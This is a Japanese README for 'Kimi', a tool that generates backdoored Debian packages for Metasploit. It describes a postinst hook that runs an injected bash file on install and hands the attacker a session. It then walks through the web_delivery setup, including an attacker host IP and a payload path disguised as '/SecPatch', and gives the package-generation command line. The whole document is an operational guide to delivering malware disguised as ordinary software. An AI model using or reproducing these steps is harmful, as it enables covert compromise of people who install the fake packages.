Kimiという名前は、アニメ「Naruto」の私のお気に入りのキャラクター「Kimimaro」に由来しています。

Kimiは、bashファイルで構成されたMetasploit用の悪意のあるDebianパッケージを生成するスクリプトです。bashファイルは"/usr/local/bin/"ディレクトリに配置されます。

バックドアは、被害者がdebパッケージをインストールしようとしたときに、postinstファイルにより実行されます。

bashファイルは注入され、被害者によって実行されるとシステムコマンドのように動作し、攻撃者がセッションを取得します。

利点 :
-- 完全に独立。ユーザーはDebianパッケージ作成ツールをインストールする必要がありません。
-- 引数の関与により、任意のペイロードジェネレータと簡単に統合可能（ダサいのは分かってる:P）。

Kimiは基本的にweb_deliveryモジュールに依存しており、すべてが自動化されています。攻撃者が行う必要があるのは以下の設定だけです：

Setting up Web_Delivery in msf :

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set srvhost 192.168.0.102
srvhost => 192.168.0.102
msf exploit(web_delivery) > set uripath /SecPatch
uripath => /SecPatch
msf exploit(web_delivery) > set Lhost 192.168.0.102
Lhost => 192.168.0.102
msf exploit(web_delivery) > show options
msf exploit(web_delivery) > exploit

悪意のあるペイロードの生成 :

dreamer@mindless ~/Desktop/projects/kimi $ sudo python kimi.py -n nano -l 127.0.0.1 -V 1.0 -a i386

注意 :: このプロジェクトはVenom Shellcode Generator 1.0.13と統合するために作成されました。
スタンドアロンでも使用可能で、ユーザーはmsf変数でuripathを変更するだけで済みます。
-------------------------------------------------------------------------------------

テスト環境 :
            Linux Mint 17.2 Cinnamon (Ubuntu 14.04) 
            ParrotOS (Debian Jessie)
            Kali Rolling 2.0